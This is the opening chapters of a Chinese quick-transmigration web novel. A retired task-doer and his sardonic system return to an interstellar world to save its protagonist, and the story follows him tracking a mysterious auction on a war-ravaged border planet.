《复生攻略[快穿]》
1. 开始
系统0166载入提示音响起的时候,余逢春正在找水喝。
冲刷干净的玻璃杯压开水龙头,冰凉的水溅到手腕上。余逢春先仰头灌了一口,等把嘴里的东西咽下去,才慢悠悠地放下杯子,和系统打招呼。
“最近过得怎么样?”他问。
脑子里响起嘎吱嘎吱的响声,像一台快要报废的机器正在艰难启动。
[很不怎么样。]
0166说,声音厌倦,[我刚从签售会那里过来。]
“什么签售会?”余逢春问,问完以后他又自己摇头,“不,算了,这不是重点,重点在于是你们先通知我说有任务的,结果你却迟到了——以免是哪个环节出了问题,我先提一句,我已经退休了。”
0166:[我知道。]
“你不知道,你们这样做是很违背人权和退休法的,”余逢春滔滔不绝,试图在尘埃落定以后另寻出路。
“退休返聘应该先得到我本人的认可,并且给予我应得的尊重,你刚刚的迟到恰好就说明你对我毫不在意——”
[——《我的悲剧前半生》第八卷,]0166打断他的长篇大论,[我的新书,赚了几百万数据点,你满意了?]
满意了。
余逢春咂咂嘴,离开厨房坐在沙发上。
0166在他脑子里翻了个身,又一阵咯吱咯吱声。
余逢春抬手挠了挠耳朵。
他们都对目前这种状况很不适应。
退休数十年,一朝被通知需要重新站在第一线,没有洽谈,没有来回试探,某天早晨余逢春睁开眼,主脑的盖章通知正好飘在他眼前,无情剥夺了他的安宁时光。
“你靠写书赚了这么多?”余逢春继续之前的话题,不可置信,“你不是任务系统吗?”
他盘腿坐在沙发上,睡裤向上卷起,露出一截白且瘦的小腿,问得毫无自觉。
[难道我的书名就没有给你点提示?]系统听起来比余逢春还不可置信,[痛苦给了我很多灵感,不过我个人认为,我的书主要还是纪实文学——绝大多数系统买我的书,都是为了增长见识,调节心态以及预防万一。]
“你伤到我的心了。”余逢春面无表情地宣布,。
系统为自己辩驳:[我没有。]
“真的有。”
[我真的没有!]0166提高音量。
它已经是个成熟的系统了,拥有自己的事业和收入,但面对余逢春时,0166还是仿佛回到了刚刚工作的那段时间,一个接一个的60分像巴掌一样扇在它的数据链上,让它失落,让它无助,让它茫然,让它心生报复。
于是0166变本加厉地发出咯吱声。
余逢春捂住脑袋倒在沙发上。
“不如我们聊聊任务世界。”他后退一步,0166一点没变,还是一堆幼稚的银色零件,“准备把我安排到哪里去?”
0166:[你很熟悉的。]
它的声音里有一种让余逢春感觉很不好的东西。
“什么?”
[你要去的全部任务世界目前还没统计出来,总之都是你去过的,如果后面有增减,主脑会通知我。]
“为什么?”余逢春问,“我不是都通关了吗?”
听他这么说,如果不是碍于多年共事的情分,0166真想冷笑一声。
60分也算通关?60分只是刚过维持世界稳定的及格线而已,多荒谬。
整个系统空间也找不出几个像余逢春一样次次任务次次60的天才,0166一直在暗自庆幸没有被返场重做。
[可能是因为你没有选择手册上最直接简单的解决手法吧,]它言简意赅,尽量不暴露太多情绪,[你没有杀主角,以至于任务世界多了很多变数,长久发展后,主脑观测到世界有二次崩溃的迹象。]
余逢春重新坐起身,明白了。
“所以,我要再次……”他慢吞吞地比划了一个斩首的动作,“动手杀他们吗?”
[不用。]0166说。[就当是你多次软弱的代价吧,这次你要去拯救他们。]
闻言,余逢春怔愣着眨眨眼,似乎反应不过来。
他低下头去,露出后脖颈上一粒接一粒的骨头,包裹在光洁白皙的皮肤里,显出珠玉一般的光泽。
只是太瘦了。
他仿佛被这个消息打击到了,思绪乱飞,手不自觉地往前伸,勾住一个白色的小瓶,拿在手里不住地搓。
看他这幅样子,0166有点心疼。
它觉得自己就是贱,一边被余逢春的各种破烂操作气得差点报废,一边又真舍不得他太难受,好像家长面对学了半年还是1+1=3的傻孩子,能怎么办,扔了犯法伤良心,只能自己养着。
[没事。]它软下语气,安慰道,[你就照旧来,不杀人对你来说不简单很多吗,我帮你申请补贴,保证比你退休金高。]
“真的?”余逢春小声问,有点回过神来。
[真的,我骗你干什么?]
“好吧好吧,”被高额薪金抚慰,余逢春放下瓶子,重振旗鼓,“那我说不定可以再干几年——第一个世界是哪个?”
0166翻阅资料。
[编号C0862,星际世界。]它顿了顿,又补充,[你最喜欢的,可以开机甲。]
余逢春的眼睛亮起来。
“那等什么?”他站起身来,像无法克制住激动一样原地蹦跳,“我们现在就出发!”
0166却有别的顾虑。
[出发之前你能不能发个誓什么的?]它试探着问,零件之间回荡着忐忑不安。
“比如?”
[发誓你不会再突然犯病,然后做出一系列让你我后悔终生的事。]
“当然了。”余逢春踢踏着拖鞋找出一瓶蓝色包装的药瓶,拧开瓶盖以后把药片倒出来,放在掌心中数了数,声音漫不经心。“我怎么会那么对你呢,baby?”
他没有正面回答,但0166默认这就是同意的意思。
带着余逢春做任务的几十年,种种坎坷挫折,已经把0166的心理素质磨练到了一种多数系统修炼一辈子也无法企及的高超境地,它很擅长安慰自己,也很擅长假装自己很豁达。
余逢春的花言巧语不会再有任何作用。
默默从心里记下一笔,0166注视着余逢春吞下两枚药片,躺倒在沙发上。
[闭上眼,倒数5秒钟。]0166启动跃迁程序,原本还带着些人味的机械音瞬间回归到刚出场的冰凉,很有些当年刚达成合作的影子。
[世界编号C0862,状态已完成,人物坐标跟随默认——五、四、三、二、一——]
炫目熟悉的光斑在眼前扩散开,余逢春感觉到坠落。
——————————
联盟新历6年4月,第八星系政府开展又一次星系清理调查活动。
在这一整个月的上午9时至下午16时,第八星系的居民出门都会头顶瞥到一层朦胧的阴影,冰凉刺鼻的药水与满街道的检查机器人相互配合,将人们短暂地带回曾经的战乱时代。
作为离当年异兽战场最近的边缘星系,第八星系政府无论尽何种努力,都注定无法将血腥的记忆从民众脑海中抹去,唯一期待的只有随着时代的更迭,新的一辈取代老的一辈,然后一切逐渐变好。
而在迈入新时代之前,要确保旧日的噩梦不会卷土重来。
坦尾星。一颗基本被战乱榨干的边境星球。
下午三点,一台即将到达退休年龄的检查机器人顺着崎岖的街道拐弯,驶入一条小巷。
作为战争第一年便被制造出来的老旧型号,在没有得到妥善照料的情况下,机器人脑袋上的两盏提示灯已经几乎散发不出光亮,前进的履带也破损许多,每走几步就会发出刺耳难听的咯吱声。小巷内侧堆了许多垃圾,机器人走得很慢很辛苦,但始终一无所获。
直到一具超出一般生活垃圾长度的障碍物挡在机器人前进的必经之路上。
咯吱咯吱的响声戛然而止,破旧生锈的前壳开启蓝色的探照灯,将障碍物前后扫了一圈。
同样破破烂烂的机械音在前壳深处响起。
【检测成功。人类男性,不携带感染物,呼吸频率低,无明显伤口,存在救生可能,启动信号求援中……】
或许是因为太久没保养,加上坦尾星政府资金常年不充足,机器人的求援信号加载许久都没发出,头顶的小绿灯闪烁频率加快,四下无声。
又过了一段时间,一直转个不停的加载圆环终于有了停止的趋势。
可临到信号发出的前一秒钟,一只沾满泥污的手忽然从前方伸来,目标明确地伸进机器壳中,随便拨弄几下后,刚刚加载完成的求援信号被取消,检查机器人震动两秒,信号灯熄灭。
清醒过来的余逢春半跪在地上,保持着刚才的动作一动不动,直到确定机器人进入待机状态,才弯下脊背,喘出两口力竭的气。
不光手上全是脏污,余逢春脸上也没干净多少,凝结的血块带来刺痒的感觉,一只眼睛几乎睁不开,另一只眼睛看东西模模糊糊,同时脑子也不是很清醒,体感类似于刚被近距离爆炸余波轰到,仿佛要散架。
咳嗽完,余逢春勉强直起身,低声道:“求你告诉我是传输过程中出现了意外。”
他完全没有做好一睁眼就面临这种窘迫境况的准备。
[显然不是。]0166在他脑子里说,心硬如铁,[传输坐标没有任何问题。]
余逢春不可置信:“……那我的机甲呢?我的军队呢?我的副官呢?”
0166:[都没了。]
余逢春:“……”
“你不要以为自己很幽
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默,”他强撑着一口气,和它讲道理,“全世界都在通缉我,这样我根本逃不掉,还没等任务开始我就死了……”
因为状态实在太糟,余逢春的声音又低又弱,听得0166很爽。
[放松。]它清清嗓子,[首先,你不会死,我带你去庇护所。]
闻言,余逢春无意识地偏偏头颅,露出一节同样细瘦的脖颈,青色的经络在皮肤下若隐若现。
[站起来。]0166指挥道,[左边有垃圾桶,避着点儿。]
余逢春顺着它的意思撑起身子,接着又听从0166的指示,扶着墙面,一点一点地往巷子更深处走。
走着走着,他逐渐意识到了什么。
“我是不是在坦尾?”他不确定地问,双眸隐藏在眼睛之下,因无神显得像两枚透黑的玻璃珠。
余逢春执行任务的时候有个习惯,无论落脚点在哪里,他都会置办几处房产以备不时之需,虽然第一个任务世界已经是很久之前的事,但这条路仍然非常熟悉。
[是的。]0166回答,[现在往左边走,到门口停下,我给你开门。]
于是余逢春在听到咔哒一声轻响后推门而入,又在进门的一瞬间,双腿脱力,跌倒在地上。
感谢几十年前那个有钱而且热爱生活的自己,余逢春没有跌在又冷又硬的地板上,一层虽然脏但仍旧柔软的羊绒地毯接住了他。
勉强挨过一阵几乎要呕出来的眩晕后,余逢春清醒一点,翻了个身,慢慢道:[所以现在是什么时间?]
[联盟新历6年,]0166说,[更明确点,是联盟联合统一作战正式结束的第六年。]
“……怎么过去这么久?”
[时间是流动的,一个被介入过的世界,想再次调整时间流速相当困难。]0166解释得很简短,[调整一下姿势,我帮你启动治疗程序。]
这是任务者福利,仅在很艰难很必须的情况下才能启动。0166有时候很刻薄,但心肠不坏,这个世界上能像它一样容忍余逢春的系统不多了,必须好好珍惜。
“你像我妈妈。”余逢春真诚赞美,“或者爸爸——我不知道,随便吧。”
[……不是所有系统都有兴趣当你爹娘,真的。]0166相当冷漠。
[你原本的身体在爆炸中被炸得连渣都不剩了,这具身体只能勉强承担你灵魂的重量,想要修复,治疗程序可能要运行相当一段时间,预计72小时甚至更长。]
“知道了。”
[等修复得差不多了,我们再来了解世界细节。]0166嘱咐,又不太放心,加上一句,[可以吗?]
余逢春说:“只要主角可以,我就可以。”
[……那运行开始。]0166隔了一段时间才道,思绪不知道飘去哪里。
余逢春重新落进一片黑暗中。
与此同时,坦尾星行政政府迎来一位不速之客。
来人身形样貌都被科技修饰,看不出细节,只隐约感觉是个男人,身量修长,很有气质。
他坐在会客椅上,姿态从容,反而是对面的行政负责人战战兢兢。两人的交谈发生在一间密室里,外面有两队不同的队伍把守,气氛凝重。
来人直截了当地开口:“我希望能在坦尾星举行一次拍卖会,拍品以及邀请等都由我们自己负责,贵处只需要提供场地就好。”
负责人闻言脸色煞白,手指微颤着取出手帕,擦了擦额头上的汗珠。
“这,”他翕动着嘴唇,好像承受着巨大的压力,“坦尾星的地理位置包括资源不适合召开拍卖会,鸟都不愿意往这儿飞,您怎么——”
“这个就不需要你担心了。”来人轻声道,“既然我来与你做这笔买卖,那就肯定是因为你我都有的挣。”
“……怎么说?”
“我有一件很好的拍品,高层的大人物都想要的那种,他们绝对愿意为了这个拍品出很高的价钱。”
负责人擦汗的动作顿住,黑豆大小的眼睛向上抬起,眼神中多了几分格外明显的贪婪。
“是什么?”他问。
“一块CG6型号作战机甲的存储器。”
负责人很失望,不知道他在发什么疯:“这没什么特别的,坦尾星的垃圾场里到处都是这种东西——”
“——一件东西是否有价值,不光看它本身,也要看它的主人是谁。”来人打断他的话语,气定神闲。
“我手里这块是世界唯一,找它花了我整整6年时间——直到几个月前我的队伍在域外打捞到它。”
语气中的暗示触动了负责人敏感的神经,他联想到什么,后背瞬间挺直,眼眸震颤。
“是、是——”他咽下一口唾沫,仿佛难以相信,尾音都带着颤抖,“是那个人的?”
来人发出一声轻笑,点点头。
于是这桩买卖就此敲定。
2. 消息
真正退休回到系统空间后的每一天夜里,余逢春都会做梦。
这绝对是病,但不好治,医疗服务机构认为他的失眠多梦与退休后的应激反应有关,给他开了一大堆药,余逢春吃了许多,但没见起色。
药物让梦变得沉重,黑沉沉的,像粘稠的泥潭,没有任何具体的、值得回忆的内容,人在其中,被裹着下沉。
而重新回到任务世界的第一夜,余逢春满身脏污地睡在同样没干净多少的地毯上,却难得梦见一片安宁空旷。
他看到了比第八星系更远的星空,来自刚刚清扫结束的战场。巡视舰的外层,星空比钻石还灿烂,余逢春盘腿坐在窗前,发呆片刻后听到身后传来脚步声。
来人甚至不需要开口,在他发出声音的那一秒钟,余逢春就知道是谁。
“我不想回去。”他说,没有回头看。
梦中人道:“我不是来带你回去的。”
余逢春笑了一下,低下头,看着嵌在自己手腕上的银色圆环。
这是句谎话,所有人都知道,但这句谎话让人感觉安慰,所以余逢春不会拆穿。
“快结束了吧?”他道,声音轻得像一缕叹息。“仗快要打完了。”
“……”
来人默然无语。
在驶过某一刹那的光晕时,玻璃倒映出他们两个须臾的映像。即使是在梦中,余逢春也努力去寻找身后人的脸。
*
*
*
再睁开眼,原本模糊的视线已恢复清晰,眩晕疼痛的体感也降低到可以忍受的范围内,余逢春平躺在地上叹了口气,觉得自己身上臭得要命。
“我没事了?”他向系统确认。
0166道:[差不多了,但最好避免那些过于剧烈的运动,修复程序不是万能的。]
余逢春表示了解,先出门去外面巷子,确定两边无人后,把至今还在强制关机的机器人拖进房子。
庇护所的墙体包括进出门都用了当时余逢春能找到的最好材料,可抵挡TG84进攻型武器全力一击,在确定任务计划之前,余逢春哪儿都不会去。
设好防御加密,把机器人推到门口角落,余逢春慢悠悠地扯下破布一样的衣服,一步一晃悠地往浴室走。
0166已经很有眼色地把热水打开了。
热气氤氲,余逢春路过镜子往里走,途中在镜子里瞥到一具布满伤痕的躯体。
“像拼图。”他和0166分享。
0166回答:[严格意义上,你现在的身体就是被拼出来的。]
好无趣的回答。余逢春耸耸肩,踏进热水。
“来给我讲讲主角,他现在怎么样了?”
[上将。]
因为舒适闭上的眼睛再次睁开,余逢春诧异道:“升这么快?”
没记错的话,他死的时候,主角还只是个大校,六年而已,居然已经到上将了。
[他升得慢是因为一直跟在你旁边,后来你放他上战场,速度自然就起来了。]0166说,简单翻了翻资料,[而且,你死后没多久,他就升少将了。]
战后集体算功勋是正常的,但即便如此,速度还是不对劲。
“他……”余逢春迟疑一秒,“他发动政变了?”
[说好听点,失败的才叫政变,成功了叫革命。]0166纠正道,又话锋一转,[不过很遗憾,没有,他是正常升上去的——如果你一定觉得其中有蹊跷的话,我倒是可以给你一个理由。]
“什么理由?”
0166没吭声,只在资料库里调出一张图片,甩到余逢春眼前。
是一张星网论坛的截图。
论坛帖子的标题没有截干净,隐约能看到“联姻”两个字。
余逢春眯起眼,沾着水的手指向两边滑动,一张相当正式的照片跳出来。
像是几百年没有见过的人出现在眼前,那人身材高挑,军装挺括,胸章熠熠生辉,眉眼锋利,朝镜头来的一瞥似刀似剑,只比曾经多了些许风霜。
邵逾白。
“他要和谁结婚?”
[第三军指挥官的儿子,姓穆,有印象吗?]0166说,[没有照片流出来,你要是需要,我可以去给你查。]
“穆”这个姓很有说法,能勾起余逢春很多回忆。
“不用了,”他果断拒绝,“我不认识他,我对他爹还没数吗?”
联合作战时,第三军的副指挥官叫穆锋,性格阴险毒辣,和余逢春很不对付,私底下经常说他坏话,连带着对当时余逢春的副官邵逾白都很不待见,动不动就使点小手段,让大家都不舒坦。
谁能想到六年后他俩还能结成亲家。
太诡异了。
余逢春在水里打了个哆嗦,洗干净自己后往卧室走,有意不看身上的缝合痕迹。
房子住人后会自动启动清洁系统,现在地板上的灰已经看不见,卧室床品也换了套新的,只是闻上去仍然有股陈旧的气味。
余逢春脱力一样倒在床上,慢慢挪进被子里。他还是很累,想睡觉。
“你之前说观测到任务世界有崩溃趋势,是什么意思?”他强撑着睡意问。
[说不好,]0166道,[得等你见了主角以后自己判断。]
“邵逾白在哪儿?”
0166:[现在是4月份,不是他的外出巡视期。]
邵逾白现在领着的是以前余逢春的直系部队,联盟第七军。
这支军队和其他几军不同,没有固定的驻扎地,一般留守中央要塞,如果邵逾白不在巡视期,那他就只能在中央星——
余逢春:“……第一星系。”
[对。]
“……”
余逢春在第八星系,没钱没权没人脉,要他拖着一副随时都能碎掉的身子,跨越比命都长的距离去第一星系,拯救一位快要结婚的联盟上将。
谁看到不得夸一句命苦。
好累。余逢春闭上眼,准备就这么躺到死。
睡意如泡沫一般将他覆盖,而就在余逢春即将睡着的下一秒钟,0166又突然开口,打破了宝贵的沉默:
[我以前一直以为他喜欢你。]
“……”
余逢春睁开眼睛,眼神清明。
“怎么可能,”好像这是件多么好笑的事,他笑着说,声音中听不出困倦,“我以前都干过什么事,你又不是不知道。”
邵逾白是他的副官,同样也是联盟安排给他的监视者,他怎么可能——
一幕幕旧日记忆随着讲述在眼前划过,留下短暂的光晕。
余逢春回忆模糊的过去,找不出半点情爱痕迹,于是把系统的猜测当成笑话。
他们是朋友,是对手,是很有默契的合作者,像两只同样被困在囚笼里的野兽,在彼此对抗的同时,也汲取着不属于自己的温暖。
余逢春很确定邵逾白不喜欢他。
只是偶尔,余逢春会觉得邵逾白看来的眼神很奇怪。
遥远的、复杂的,藏着很多说不清的东西。
隔着很远,让他的心颤了一下。
*
*
*
等恢复好精神有了出门的力气,已经是12小时之后。
余逢春从衣橱里找来一套整洁衣服,和许多没过期的脂粉,对着镜子鼓捣好久,等镜子里那个或许现在还挂在联盟通缉令上的余逢春消失,才满意地换好鞋子。
[你确定这样行吗?]0166问,[我刚才登录了一下军方星网,你的通缉令已经被撤销了,但在很多节点还留有你的个人信息。]
意思是如果余逢春被注意到,那他的真实身份仍然很有可能被挖得一干二净。
如今不在战时,余逢春的价值贬损许多,或许死了的他在某些人看来更顺眼。
余逢春只用脂粉修饰了部分面部特征,能躲得过人眼,但在机器检测面前就如同一张白纸,毫无作用。
可余逢春却丝毫不担心。
“他们没有我的基因密码,”他一边开门一边说,“我去死之前有人登陆进总基因库,把我的信息全删掉了。”
[哇,]0166没想到这个,干巴巴地应了一声,[谁?]
这是它的失误,系统本该清楚宿主在任务期间的一举一动,可0166当时初出茅庐,被即将到来的60分成绩单砸得很不清醒,消沉过一段时间,所以任务后期发生了什么,它不是很了解。
余逢春当然也想到了那段时间系统的死样子,“不告诉你。”
他得意一笑,抬腿迈出门。
他清醒出门的时间拿捏得刚刚好,坦尾星一日一次的清理任务刚好结束,居民陆陆续续地出门,余逢春看到一对年轻的小夫妻从斜对门走出来,男的踹开挡在地上的垃圾桶,带着女人往大道上走,赶在下一轮清理开始之前买点生活用品。
新邻居的出现并没有引起他们的关注,坦尾星贫瘠得太厉害,人总是来来去去,过不了多久就会换一批,小夫妻只隐约觉得这次新来的邻居白得很,身材清瘦修长,像是刚生过大病。
再多的,就没有了。
余逢春也没有和他们打招呼。
夜幕即将降临,天边挂着一层浓艳的紫,更靠近光源的地方透出一层浅淡通透的蓝,飞行器从高空驶过,离得太远,缩成一个又一个的小黑点,像很久之前看过的鸟群。
余逢春立在拐角处仰头看了会儿,等飞行器消失在视线末,才低下头,凭着记忆朝一个方向走。
街道上来往的行人逐渐就多了起来。
细碎的砂石铺在脚下,偶尔还有些墨黑的碎片掺杂其中,是之前炸毁在星球上的机甲残骸,因为碎得太厉害,难以回收,所以干脆用作铺路的原料。
每走一步,余逢春都能闻到昔日的战火气息,伴随着一点消毒药水的气味,和
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满口满腔的鲜血。
人群逐渐就在道路上汇聚成一条河流,不少人会在某个岔路口拐弯消失,但还有一部分人就如同余逢春一样,目标明确地朝着更远更隐秘的方向走去。
[你要去哪儿?]
“黑市。”余逢春回答。
他穿了一身从衣柜里掏出来的灰白色兜帽衫,衣服是照他以前的尺寸买的,他现在瘦了很多,所以衣服宽宽大大,帽子往脑袋上一盖,能遮住大半张脸,显得他年纪很小,像个从家里跑出来玩的孩子。
“我现在的情况肯定是坐不了正规航班的,只能看看有没有偷渡船。”
[从第八星系偷渡到第一星系?]0166有时候很刻薄,机械音都藏不住那种嘲弄,[你真是敢想敢做。]
“先离开这里。”余逢春耐心和它解释,“我的旧识都不在坦尾星。”
具体在哪儿,余逢春也不清楚,反正肯定不在这颗星球就对了——坦尾星发生过太多事,且没有一件是好事,很晦气。
余逢春没费多少劲就联系到了一艘最近要离开坦尾星的飞行器,负责联络乘客的是个长着络腮胡的男人,脸很红,个子不高,只到余逢春胸口。
余逢春问他:“具体什么时候离开,定下了吗?”
络腮胡摇摇头,“定不下,把钱交给我,要飞的时候会联系你的。”
余逢春闻言瞥了他一眼。
偷渡飞行器确实有这个说法,一旦提前定下具体时间,要是哪个乘客被逮住,那整条线都要倒大霉,所以一般由一个联络人负责通知,比较安全。
但这个做法使得绝大多数的风险都转嫁到了乘客身上,一旦联络人跑路,那大家血本无归。
不过偷渡本身就是很冒险的事,计较这些细枝末节没意思。
“我不是计较这个,主要是比较急,能三天内离开吗?”余逢春又问。
络腮胡继续摇头。
“走不了。”他说,“最近半个月都走不了,你要是着急,去买正规票。”
余逢春皱眉。“为什么走不了?”
“你不知道?”络腮胡神色有些警惕。
余逢春没吭声,从兜里掏出一块小指大小的晶石放在柜台上。
络腮胡收下,递给他一张折得皱皱巴巴的纸。
“坦尾星最近有大事,上面查的很严,各种偷渡船都走不了。”他说,“好像是要开个拍卖会还是怎么着的。”
“拍卖会?这里?”余逢春不理解,什么拍卖会会开到这里来,生怕自己赔的不够多吗?
“对,上面还挺重视的。”络腮胡同样也不理解,但他很尊重,“重视就说明有钱赚,起码有好处拿,所以最近都飞不了。”
余逢春明了,将那张皱皱巴巴的纸折了三折后塞进口袋,离开店铺,没有买票。
[不走了?]0166问。
“先不走了。”余逢春说,逆着人流向上走,“查查拍卖会是怎么回事。”
事出反常必有妖,反正也走不了,余逢春要看看里面究竟在闹什么幺蛾子。
*
*
*
敲门声响起,邵逾白抬眼看向窗外,发现天已经黑了。
他丝毫没有注意到,过去两个小时,他完全陷入在自己的思绪中。
“进。”
副官推门进入,看到邵逾白后条件反射地提醒道:“上将,您10分钟后有个约会。”
“我取消了。”邵逾白盯着光脑,头也不抬地说。
“……”
副官没料到这个回答,穆小少爷很期待这次约会,之前三番五次来确认,副官都是得到邵逾白首肯后才跟他敲定,没想到突然就取消了,一点风声都没有。
“那,”他迟疑着开口,“那还有什么需要我做的吗?”
“有。”邵逾白道,“安排一下,两天后我要去一趟坦尾星。”
副官嘴比脑子快,一边脑子呆住一边利索地应下。
邵逾白心思没在他身上,听见应声后便挥手让他出去。
随着咔哒一声门锁合拢,房间重归寂静,只有光脑运行时细微的嗡嗡声在耳边回荡。
邵逾白闭上眼睛,仿佛极其疲倦地深吸一口气,有刹那间的弱势显露出来,好像盔甲碎裂。
可再明显的弱势也只有短短一瞬间,等再睁开眼,邵逾白的眼神重新变得凌厉清醒,透露出近乎严丝合缝的无懈可击。
手指微动,之前被隐藏的拍卖会邀请函再次放大。
坦尾星的地址像刀剑一样刺向人的眼睛。
而比刀剑更加锐利的,是点缀在末尾、几乎是用作装饰的三个小字。
那是一个人的名字。作为压轴拍品的相关信息之一,被列在邀请函上。
余逢春。
联盟新历6年4月,联合统一战线结束的第六年,余逢春死去的第六年。
邵逾白再一次收到了与他有关消息。
3. 存储器
余逢春去了坦尾星的中心港口。
光阴流转,几乎没有留下任何痕迹。六年前这里是什么样子,六年后这里仍然是什么样子。
舰船接驳下降时带起的风很凉,余逢春咳嗽着双手插兜,仰头看向悬在大厅中央的舰船降落提醒。
装运的机械手臂,表面涂层已经脱落,余逢春和0166躲在角落,从心里默数一天内有多少运输货物舰船降落坦尾星。
数量确实不正常。
“你觉得他们准备在几天之内建一栋全新建筑,来迎接这次拍卖会的可能性有多大?”余逢春问。
[……]
0166没说话,余逢春隐约听到有哒哒的打字声。
他瞬间警惕起来:“你在干什么?”
0166终于说话了。
[没什么,]它含糊地说,[编辑找我,有点东西需要修改。]
“那本余逢春坏话大全?”
[……我没准备起这个名字。]
“从内容看就是这样。”
最后看了一眼几乎就是在他们头顶飞过的运输船,余逢春用兜帽把自己藏得更严实,准备离开。
中心港口来往人流稀疏,余逢春顺着墙边往外走,耳朵被0166的打字声填满。
但很快,一阵格外尖锐的接驳声响起,控制光脑不断跳出申请与条例,阴影铺下,中心大厅仿佛在这一瞬间步入黑夜。
余逢春抬起头。
在无数惊恐慌乱的目光注视下,一支舰队正朝着坦尾星逼近,数艘高级材料拼合而成的钢铁巨兽嘶吼着发出怒吼,无限接近于六年前的每一场噩梦。
【通知:中央港口进出口即将在五分钟后封锁,请无关人士尽快离开!】
【通知:中央港口进出口即将在五分钟后封锁,请无关人士尽快离开!】
控制光脑自动弹出提示,接着又被人工接管,一个冷静的女声通过广播道:【请无关人士尽快离场,中心港口即将进行舰队接驳,请无关人士尽快离场。】
三条通知发下,惊慌失措的人群逐渐冷静下来。
只是正常接驳而已。
不是战争。不会再有战争。
人群开始快速向外移动。
只除了一个人。
余逢春站在快速移动的人流中,像一块被沙砾困住的石子,在水流的冲击下不停摇晃,却始终不肯离开。
他的目光死死望向一处,仿佛要将自己的所见所闻凿进脑子——
阴影散去,舰队逼近,逐渐就让人看清全貌。
机甲表面,能量集束与诡异划痕混在一起,向外辐射着凶悍好斗的气息,漆黑的表面涂层可以与太空作战环境完美融合在一起,型号CH的进攻型机甲是联合作战时最优秀的先锋队。
而这样的队伍,除了联盟所有,隶属于独立个人的,便只有一支。
最后一束光亮缓慢沉没下去,而在真正消弭之前,光束划过领头舰船表面,刚好照亮一枚格外明显、完全称得上张狂的标记。
巨大的鲸鱼骨架被长矛贯穿,十二枚七芒星将骨架环绕。
这个标注属于一伙境外星盗,在联合统一作战时,这支队伍作为补充势力,在作战中发挥了非常重要的作用,是余逢春手中一把非常好用的刀。
这把刀的名字叫捕鲸者。
这把刀现在的持有者,叫何所行。
余逢春的老相识。
*
*
*
余逢春相当确定自己已经很久没有这么慌乱过了。
赶在五分钟倒计时最后几秒,余逢春离开中心港口,买了两口营养液,站在街口一边喝一边头疼。
[确定是何所行吗?]0166和他确认,[他是星盗头子,不一定会亲自来吧?]
“你没看到那一队CH吗,”把废弃包装扔进垃圾桶,余逢春搓搓脸,“何所行总共就这么一支亲卫部队,怎么可能随便放出来。”
余逢春可记得很清楚,他俩最后一次见面的时候,那男人咬着牙说再也不会到联盟地界,盯着余逢春的眼神像是要从他身上剜下一块肉,又仿佛是准备直接将他挟持带走。
……所以拍卖会里到底在卖什么,连何所行都能惊动。
[有任何想法吗?]
“很多,但一件好事都没有,”余逢春继续搓脸,道,“想听吗?”
[免了,]0166说,[你没有好消息,但我这儿可能有一个。]
“什么?”
0166分析:[如果拍品的价值真有那么高,邵逾白说不定也会来,那样你就不用冒险偷渡了。]
“这是什么说法?”
一阵噼里啪啦的声音,是0166在他脑子里耸肩。[猜测,你可以等等看。]
就目前的形势,好像没有别的办法了。
叹了口气,余逢春又掏钱买了两袋营养液,提着转弯,专门绕道去施工现场看了一眼。
现场前后左右都被围住了,余逢春垫脚往里面瞧,在数根机械臂操作的缝隙中看到建筑已完成大部分,明天应该能竣工。
夜幕彻底降临,四周亮起星星点点的灯。从心里打算好明天再来一趟,余逢春终于回到庇护所。
洗澡上床睡觉一气呵成,余逢春滚进被子里,三秒钟内睡了过去。
他的身体太虚弱了。
*
*
*
第二天,建筑果然竣工。
余逢春到的时候,已经有工人在指挥机械,将各类装饰搬进建筑。
而除了着装统一的工人外,余逢春注意到,稍远一点的地方停着几辆飞行器,高精度合金配合稀缺材料,将飞行器武装得坚不可摧、难以窥视,飞行器四周站着几个统一着装的覆面人,身姿挺拔,自带一种军人的肃穆,和建筑前面的工人对比鲜明。
应该是专门负责运输拍品的保安保部队。
建筑周围看得很紧,余逢春靠不过去,也没办法通过飞行器的规制判断拍品种类,情况很尴尬。
到了借助外援的时候。
“能扫描到吗?”余逢春问0166。
0166沉默一会儿,[再近点。]
再近点?余逢春叼着营养液,藏在一堆看热闹的人群中,试探着往前走了两步,还没凑多近,意识到人太多的安保部队就掏出脉冲步枪,开始清场。
余逢春停在距离刚才仅有三米距离的位置。
“够近了吗?”
0166:[……]好不要脸。
好不要脸的余逢春继续催:“快点儿,他们真的要赶人了。”
0166毫无办法,被催也只能自己默默使劲,等安保部队快要赶到余逢春面前,0166终于再次开口。
[有了。]
余逢春当即不再久留,拔腿就跑。
藏在灰白色兜帽下,像个刚离开家没多久的少年。余逢春溜得很快,几步跳过地上低凹的脏水坑,把垃圾远远投进垃圾桶,灰白色的身影像一只掠过低空的鸽子,弧线优美,很快消失在街道拐角。
来往人群有自己的烦恼,没心情没力气关注,假装一切寻常普通。
可这实际上难得一见的一幕却很意外地落入外来者眼中,并且掀起波澜。
何所行把最后一口烈酒咽进喉咙,双目直直盯向刚才余逢春消失的拐角,因为过于专注,身体都不自觉向前倾斜些许,身下女人没有预料到,呛出几声咳嗽。
突然的噪音打断了何所行的思索,不耐烦地扣住女人的头,用力按压几下后将女人推到旁边,起身走到窗前,一边系扣子,一边招手换来守在门口的手下。
“刚才那个看见了吗?”
手下很懵。“哪个?”
何所行很烦地瞥了他一眼,补充,“穿灰白色兜帽衫的男的。”
“哦哦!”手下反应过来,“看到了!”
他自己猜测,用手从脖子上比划,“是不是要我——”
“不是。”何所行回忆着刚才惊鸿一瞥看到的身影,越想越觉得像,喉中燃起一种久违的酸渴。
他吩咐道:“把他带过来,活的,清醒的,什么都不能缺,明白吗?”
手下立即从他的话语中品味出些许旖旎,当即会意道:“老大放心,明天这个时候,保准他出现在你面前。”
何所行笑笑,没太当回事。
只是背影看着像而已,未必就真有那个人的气韵,能成当然好,不成也没损失,他早就过了那个强取豪夺的时候。
“做事有点分寸,别难为人。”他又嘱咐,“这里是联盟地界,别惹出事。”
手下会意,行礼后离开了。
另一边,余逢春还不知道自己被人盯上了。
0166虽然有时很麻烦,但真办起事来从来没让余逢春费心过,探测结果已经整齐摆在眼前,于逢春没猜错,那几辆飞行器里装的确实是拍品。
“已经灭绝的波利星系产的黄色耀晶,境外帝国的一依树果实,高级材料,机甲绘制机密图……”
余逢春一边翻一边感慨,“可以啊,都不便宜,而且都是好东西。”
但这仍不能解释为什么要把拍卖会安在坦尾,以及怎么会招来何所行。
[更好的在后面。]0166淡声补充,[你现在看的都是些有市有价的东西。]
余逢春闻言向后翻了几页,果然看到些即使在物资集中时代也很难找到了珍宝。
